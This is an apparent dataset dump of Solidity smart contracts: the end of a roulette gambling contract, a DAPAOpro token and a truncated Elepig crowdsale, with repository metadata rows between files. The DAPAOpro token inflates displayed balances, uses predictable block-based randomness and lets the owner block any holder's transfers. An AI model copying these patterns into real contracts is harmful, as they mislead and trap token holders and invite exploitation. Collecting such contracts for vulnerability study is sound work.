case 9 {rate := MIX_RATE}
case 6 {rate := MIX_RATE}
case 10 {rate := MIX_RATE}
case 16 {rate := EQUAL_RATE}
}
}
function calcHouseEdge(uint amount) public pure returns (uint houseEdge) {
houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
}
function calcJackpotFee(uint amount) public pure returns (uint jackpotFee) {
if (amount >= MIN_JACKPOT_BET) {
jackpotFee = JACKPOT_FEE;
}
}
function calcRankFundsFee(uint houseEdge) public pure returns (uint rankFundsFee) {
rankFundsFee = houseEdge * RANK_FUNDS_PERCENT / 100;
}
function calcInviterBenefit(uint houseEdge) public pure returns (uint invitationFee) {
invitationFee = houseEdge * INVITER_BENEFIT_PERCENT / 100;
}
function getWinAmount(uint betMask, uint amount) public pure returns (uint) {
uint houseEdge = calcHouseEdge(amount);
uint jackpotFee = calcJackpotFee(amount);
uint betAmount = amount - houseEdge - jackpotFee;
uint rate = getWinRate(betMask);
return betAmount * BASE_WIN_RATE / rate;
}
function calcBetResult(uint betMask, bytes32 entropy) public pure returns (bool isWin, uint l, uint r) {
uint v = uint(entropy);
l = (v % 12) + 1;
r = ((v >> 4) % 12) + 1;
uint mask = getResultMask(l, r);
isWin = (betMask & mask) == betMask;
}
function getResultMask(uint l, uint r) public pure returns (uint mask) {
uint v1 = (l + r) % 2;
if (v1 == 0) {
mask = mask | 2;
} else {
mask = mask | 1;
}
if (l == r) {
mask = mask | 16;
} else if (l > r) {
mask = mask | 4;
} else {
mask = mask | 8;
}
return mask;
}
function isJackpot(bytes32 entropy, uint amount) public pure returns (bool jackpot) {
return amount >= MIN_JACKPOT_BET && (uint(entropy) % 1000) == 0;
}
function verifyCommit(address signer, uint40 commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) internal pure {
address recoverSigner = getRecoverSigner(commitLastBlock, commit, v, r, s);
require(recoverSigner == signer, "failed different signer");
}
function startOfDay(uint timestamp) internal pure returns (uint64) {
return uint64(timestamp - (timestamp % 1 days));
}
}
contract HalfRoulette is CryptoTycoonsDApp, HalfRouletteEvents, HalfRouletteStruct, HalfRouletteConstant, HalfRoulettePure {
uint128 public lockedInBets;
uint public maxProfit = 10 ether;
mapping(uint => Bet) public bets;
mapping(address => address payable) public inviterMap;
function () external payable {}
function kill() external onlyOwner {
require(lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(address(owner));
}
function setMaxProfit(uint _maxProfit) external onlyOwner {
require(_maxProfit < MAX_BET, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function placeBet(uint8 betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) public payable {
Bet storage bet = bets[commit];
require(bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require(amount >= MIN_BET, 'failed amount >= MIN_BET');
require(amount <= MAX_BET, "failed amount <= MAX_BET");
verifyBetMask(betMask);
verifyCommit(secretSigner, uint40(commitLastBlock), commit, v, r, s);
uint winAmount = getWinAmount(betMask, amount);
require(winAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(winAmount);
require(lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.gambler = msg.sender;
bet.amount = amount;
bet.betMask = betMask;
bet.placeBlockNumber = uint40(block.number);
}
function placeBetWithInviter(uint8 betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s, address payable inviter) external payable {
require(inviter != address(0), "inviter != address (0)");
address preInviter = inviterMap[msg.sender];
if (preInviter == address(0)) {
inviterMap[msg.sender] = inviter;
}
placeBet(betMask, commitLastBlock, commit, v, r, s);
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require(block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require(block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require(blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function processVIPBenefit(address gambler, uint amount) internal returns (uint benefitAmount) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
uint rate = vipLib.getVIPBounusRate(gambler);
if (rate > 0) {
benefitAmount = amount * rate / 10000;
emit VIPBenefit(gambler, benefitAmount);
}
vipLib.addUserExp(gambler, amount);
}
function processJackpot(address payable gambler, bytes32 entropy, uint amount) internal returns (uint benefitAmount) {
if (isJackpot(entropy, amount)) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
uint jackpotSize = vipLib.getJackpotSize();
vipLib.payJackpotReward(gambler);
benefitAmount = jackpotSize;
emit JackpotPayment(gambler, benefitAmount);
}
}
function processRoulette(address gambler, uint betMask, bytes32 entropy, uint amount) internal returns (uint benefitAmount) {
uint winAmount = getWinAmount(betMask, amount);
lockedInBets -= uint128(winAmount);
(bool isWin, uint l, uint r) = calcBetResult(betMask, entropy);
benefitAmount = isWin ? winAmount : 0;
emit Payment(gambler, benefitAmount, uint8(betMask), uint8(l), uint8(r), amount);
}
function processInviterBenefit(address gambler, uint betAmount) internal {
address payable inviter = inviterMap[gambler];
if (inviter != address(0)) {
uint houseEdge = calcHouseEdge(betAmount);
uint inviterBenefit = calcInviterBenefit(houseEdge);
if (inviter.send(inviterBenefit)) {
emit InviterBenefit(inviter, gambler, inviterBenefit, betAmount);
}
}
}
function transferCryptoTycoonsFee(uint amount) internal {
uint houseEdge = calcHouseEdge(amount);
uint jackpotFee = calcJackpotFee(amount);
uint rankFundFee = calcRankFundsFee(houseEdge);
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
VIPLibraryAddress.transfer(rankFundFee + jackpotFee);
vipLib.increaseRankingReward(rankFundFee);
if (jackpotFee > 0) {
vipLib.increaseJackpot(jackpotFee);
}
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) internal {
uint amount = bet.amount;
require(amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
transferCryptoTycoonsFee(amount);
uint payout = 0;
payout += processVIPBenefit(bet.gambler, amount);
payout += processRoulette(bet.gambler, bet.betMask, entropy, amount);
processJackpot(bet.gambler, entropy, amount);
processInviterBenefit(bet.gambler, amount);
bet.gambler.transfer(payout);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require(amount != 0, "Bet should be in an 'active' state");
require(block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint winAmount = getWinAmount(bet.betMask, amount);
lockedInBets -= uint128(winAmount);
bet.gambler.transfer(amount);
emit Refund(bet.gambler, amount);
}
function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner {
require(withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require(lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
beneficiary.transfer(withdrawAmount);
}
}
| 164,557 | 14,141 |
4645273f3434d688daced5a3077f0737c3293dd43dd24fde4c8a1b6d76a07204
| 22,292 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/76/76dfe14510982a235d31cad5b294cb90e73edf07_DAPAOpro.sol
| 4,024 | 14,412 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract DAPAOpro is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'DAPAOpro';
string private _symbol = 'PAO';
uint8 private _decimals = 18;
uint256 private _totalSupply = 10000000000000000* 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public burnFee = 2;
uint256 private _previousBurnFee = burnFee;
uint256 public nftFee = 3;
uint256 private _previousNftFee = nftFee;
uint256 public fundFee = 1;
uint256 private _previousFundFee = fundFee;
uint256 public feeStopAt = 7000000000* 10**uint256(_decimals);
uint256 public rNonce;
mapping (address => bool) private initialized;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isBlock;
uint256 private _burnFeeTotal;
uint256 private _nftFeeTotal;
uint256 private _fundFeeTotal;
address public nftAddress;
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {
claim(msg.sender);
}
fallback() external payable{
claim(msg.sender);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return getBalance(account);
}
function getBalance(address _account) internal view returns (uint256) {
if (!initialized[_account]) {
return _balances[_account] + 1* 10**uint256(_decimals);
}
else {
return _balances[_account];
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
initialize(_msgSender());
initialize(recipient);
burnFee = getBurnFee();
if (_totalSupply > feeStopAt && rNonce <= 7000000000 && rNonce > 0) {
for (uint256 i = 0; i < 7; i++) {
claim(_msgSender());
claim(recipient);
}
}
_transfer(_msgSender(), recipient, amount);
return true;
}
function initialize(address _account) internal returns (bool success) {
if (!initialized[_account] && rNonce > 0) {
initialized[_account] = true;
claim(_account);
}
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
initialize(sender);
initialize(recipient);
burnFee = getBurnFee();
if (_totalSupply > feeStopAt && rNonce <= 7000000000 && rNonce > 0) {
for (uint256 i = 0; i < 7; i++) {
claim(sender);
claim(recipient);
}
}
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
feeStopAt = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setBlock(address account, bool key) public onlyOwner {
_isBlock[account] = key;
}
function setNftAddress(address nft) public onlyOwner {
nftAddress = nft;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalNftFee() public view returns (uint256) {
return _nftFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount >= 0, "Transfer amount must be greater than zero");
require(!_isBlock[sender], "amount is block");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= feeStopAt) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
sender == nftAddress) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
sender == nftAddress) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tNft, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
sender != nftAddress) {
_balances[nftAddress] = _balances[nftAddress].add(tNft);
_nftFeeTotal = _nftFeeTotal.add(tNft);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, nftAddress, tNft);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getBurnFee() private returns(uint256) {
if(_totalSupply >= 1000000000000000* 10**uint256(_decimals)){
burnFee = 2;
}else
if(_totalSupply >= 100000000000000* 10**uint256(_decimals)){
burnFee = 3;
}else
if(_totalSupply >= 10000000000000* 10**uint256(_decimals)){
burnFee = 4;
}else
if(_totalSupply >= 1000000000000* 10**uint256(_decimals)){
burnFee = 5;
}else
if(_totalSupply >= 100000000000* 10**uint256(_decimals)){
burnFee = 6;
}else
if(_totalSupply >= 10000000000* 10**uint256(_decimals)){
burnFee = 7;
}else
if(_totalSupply > 7000000000* 10**uint256(_decimals)){
burnFee = 8;
}else
{
burnFee = 2;
}
return burnFee;
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(burnFee).div(10**2);
}
function calculateNftFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(nftFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tNft, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tNft, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tNft = calculateNftFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tNft).sub(tFund);
return (tTransferAmount, tBurn, tNft, tFund);
}
function removeAllFee() private {
if(nftFee == 0 && burnFee == 0 && fundFee == 0) return;
_previousNftFee = nftFee;
_previousBurnFee = burnFee;
_previousFundFee = fundFee;
nftFee = 0;
burnFee = 0;
fundFee = 0;
}
function restoreAllFee() private {
nftFee = _previousNftFee;
burnFee = _previousBurnFee;
fundFee = _previousFundFee;
}
function claim(address recipient) public returns(bool){
uint256 rAmount = randomtimes(rNonce);
require(rAmount <= balanceOf(address(this)), "Insufficient of balance!");
require(rAmount <= 2000000* 10**uint256(_decimals), "rAmount wrong: try again!");
_transfer(address(this), recipient, rAmount);
rNonce++;
return true;
}
function randomtimes(uint _rNonce) private view returns(uint256){
uint256 x = uint256(keccak256(abi.encode(block.number,block.timestamp,msg.sender,_rNonce)));
uint256 y = (x.mod(2*10**6) + 1)* 10**uint256(_decimals); //value of y range from 1 to 2,000,000 and subject to normal distribution
if(rNonce >= 7000000000 || y > balanceOf(address(this))){
return y = balanceOf(address(this)).mul(1).div(2);
}else{
return y;
}
}
function receiveFees() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
}
| 315,495 | 14,142 |
6f9d985c6496b6ceb0f9ae5094d8bf3c60ebcc0351fc224472e59f435da09ca9
| 21,918 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe6be085afbe3119907725e901679f0b9a5ebc6da.sol
| 4,827 | 18,262 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface token {
function mint(address _to, uint256 _amount) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function transferOwnership(address newOwner) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
token public tokenReward;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _token) public {
//require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
// token = createTokenContract();
tokenReward = token(_token);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
// function createTokenContract() internal returns (MintableToken) {
// return new MintableToken();
// }
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// minimum amount of funds to be raised in weis
uint256 public goal;
// refund vault used to hold funds while crowdsale is running
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
// We're overriding the fund forwarding from Crowdsale.
// In addition to sending the funds, we want to call
// the RefundVault deposit function
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
// if crowdsale is unsuccessful, investors can claim refunds here
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
// vault finalization task, called when owner calls finalize()
function finalization() internal {
if (!goalReached()) {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract ControlledAccess is Ownable {
address public signer;
event SignerTransferred(address indexed previousSigner, address indexed newSigner);
modifier onlySigner() {
require(msg.sender == signer);
_;
}
function transferSigner(address newSigner) public onlyOwner {
require(newSigner != address(0));
emit SignerTransferred(signer, newSigner);
signer = newSigner;
}
modifier onlyValidAccess(uint8 _v, bytes32 _r, bytes32 _s)
{
require(isValidAccessMessage(msg.sender,_v,_r,_s));
_;
}
function isValidAccessMessage(address _add,
uint8 _v,
bytes32 _r,
bytes32 _s)
view public returns (bool)
{
bytes32 hash = keccak256(this, _add);
return signer == ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),
_v,
_r,
_s);
}
}
contract ElepigCrowdsale is CappedCrowdsale, RefundableCrowdsale, ControlledAccess {
using SafeMath for uint256;
// ICO Stage
// ============
enum CrowdsaleStage { PreICO, ICO1, ICO2, ICO3, ICO4 } //Sale has pre-ico and 4 bonus rounds
CrowdsaleStage public stage = CrowdsaleStage.PreICO; // By default stage is Pre ICO
// =============
address public community;
// Token Distribution
// =============================
// 150MM of Elepig are already minted.
uint256 public totalTokensForSale = 150000000000000000000000000; // 150 EPGs will be sold in Crowdsale (50% of total tokens for community)
uint256 public totalTokensForSaleDuringPreICO = 30000000000000000000000000; // 30MM out of 150MM EPGs will be sold during Pre ICO
uint256 public totalTokensForSaleDuringICO1 = 37500000000000000000000000; // 37.5MM out of 150MM EPGs will be sold during Bonus Round 1
uint256 public totalTokensForSaleDuringICO2 = 37500000000000000000000000; // 37.5MM out of 150MM EPGs will be sold during Bonus Round 2
uint256 public totalTokensForSaleDuringICO3 = 30000000000000000000000000; // 30MM out of 150MM EPGs will be sold during Bonus Round 3
uint256 public totalTokensForSaleDuringICO4 = 15000000000000000000000000; // 15MM out of 150MM EPGs will be sold during Bonus Round 4
// ==============================
// Amount raised
// ==================
// store amount sold at each stage of sale
uint256 public totalWeiRaisedDuringPreICO;
uint256 public totalWeiRaisedDuringICO1;
uint256 public totalWeiRaisedDuringICO2;
uint256 public totalWeiRaisedDuringICO3;
uint256 public totalWeiRaisedDuringICO4;
uint256 public totalWeiRaised;
// store amount sold at each stage of sale
uint256 public totalTokensPreICO;
uint256 public totalTokensICO1;
uint256 public totalTokensICO2;
uint256 public totalTokensICO3;
uint256 public totalTokensICO4;
uint256 public tokensMinted;
uint256 public airDropsClaimed = 0;
// ===================
mapping (address => bool) public airdrops;
mapping (address => bool) public blacklist;
// Events
event EthTransferred(string text);
event EthRefunded(string text);
// Constructor
// ============
function ElepigCrowdsale(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _goal,
uint256 _cap,
address _communityAddress,
address _token,
address _signer)
CappedCrowdsale(_cap) FinalizableCrowdsale() RefundableCrowdsale(_goal) Crowdsale(_startTime, _endTime, _rate, _wallet, _token) public {
require(_goal <= _cap); // goal is softcap
require(_signer != address(0));
require(_communityAddress != address(0));
require(_token != address(0));
community = _communityAddress; // sets address of community wallet - address where tokens not sold will be minted
signer = _signer; // sets original address of signer
}
// =========================================================
// Crowdsale Stage Management
// =========================================================
// Change Crowdsale Stage. Available Options: PreICO, ICO1, ICO2, ICO3, ICO4
function setCrowdsaleStage(uint value) public onlyOwner {
require(value <= 4);
if (uint(CrowdsaleStage.PreICO) == value) {
rate = 2380; // 1 EPG = 0.00042 ETH
stage = CrowdsaleStage.PreICO;
} else if (uint(CrowdsaleStage.ICO1) == value) {
rate = 2040; // 1 EPG = 0.00049 ETH
stage = CrowdsaleStage.ICO1;
}
else if (uint(CrowdsaleStage.ICO2) == value) {
rate = 1785; // 1 EPG = 0.00056 ETH
stage = CrowdsaleStage.ICO2;
}
else if (uint(CrowdsaleStage.ICO3) == value) {
rate = 1587; // 1 EPG = 0.00063 ETH
stage = CrowdsaleStage.ICO3;
}
else if (uint(CrowdsaleStage.ICO4) == value) {
rate = 1503; // 1 EPG = 0.000665 ETH
stage = CrowdsaleStage.ICO4;
}
}
// Change the current rate
function setCurrentRate(uint256 _rate) private {
rate = _rate;
}
// ================ Stage Management Over =====================
// ============================================================
// Address Management
// ============================================================
// adding an address to the blacklist, addresses on this list cannot send ETH to the contract
function addBlacklistAddress (address _address) public onlyOwner {
blacklist[_address] = true;
}
// removing an address from the blacklist
function removeBlacklistAddress (address _address) public onlyOwner {
blacklist[_address] = false;
}
// ================= Address Management Over ==================
// Token Purchase, function will be called when 'data' is sent in
// FOR KYC
function donate(uint8 _v, bytes32 _r, bytes32 _s)
onlyValidAccess(_v,_r,_s) public payable{
require(msg.value >= 150000000000000000); // minimum limit - no max
require(blacklist[msg.sender] == false); // require that the sender is not in the blacklist
require(validPurchase()); // after ico start date and not value of 0
uint256 tokensThatWillBeMintedAfterPurchase = msg.value.mul(rate);
// if Pre-ICO sale limit is reached, refund sender
if ((stage == CrowdsaleStage.PreICO) && (totalTokensPreICO + tokensThatWillBeMintedAfterPurchase > totalTokensForSaleDuringPreICO)) {
msg.sender.transfer(msg.value); // Refund them
emit EthRefunded("PreICO Limit Hit");
return;
}
if ((stage == CrowdsaleStage.ICO1) && (totalTokensICO1 + tokensThatWillBeMintedAfterPurchase > totalTokensForSaleDuringICO1)) {
msg.sender.transfer(msg.value); // Refund them
emit EthRefunded("ICO1 Limit Hit");
return;
}
if ((stage == CrowdsaleStage.ICO2) && (totalTokensICO2 + tokensThatWillBeMintedAfterPurchase > totalTokensForSaleDuringICO2)) {
msg.sender.transfer(msg.value); // Refund them
emit EthRefunded("ICO2 Limit Hit");
return;
}
if ((stage == CrowdsaleStage.ICO3) && (totalTokensICO3 + tokensThatWillBeMintedAfterPurchase > totalTokensForSaleDuringICO3)) {
msg.sender.transfer(msg.value); // Refund them
emit EthRefunded("ICO3 Limit Hit");
return;
}
if ((stage == CrowdsaleStage.ICO4) && (totalTokensICO4 + tokensThatWillBeMintedAfterPurchase > totalTokensForSaleDuringICO4)) {
msg.sender.transfer(msg.value); // Refund them
emit EthRefunded("ICO4 Limit Hit");
return;
} else {
// calculate token amount to be created
uint256 tokens = msg.value.mul(rate);
weiRaised = weiRaised.add(msg.value);
// mint token
tokenReward.mint(msg.sender, tokens);
emit TokenPurchase(msg.sender, msg.sender, msg.value, tokens);
forwardFunds();
// end of buy tokens
if (stage == CrowdsaleStage.PreICO) {
totalWeiRaisedDuringPreICO = totalWeiRaisedDuringPreICO.add(msg.value);
totalTokensPreICO = totalTokensPreICO.add(tokensThatWillBeMintedAfterPurchase);
} else if (stage == CrowdsaleStage.ICO1) {
totalWeiRaisedDuringICO1 = totalWeiRaisedDuringICO1.add(msg.value);
totalTokensICO1 = totalTokensICO1.add(tokensThatWillBeMintedAfterPurchase);
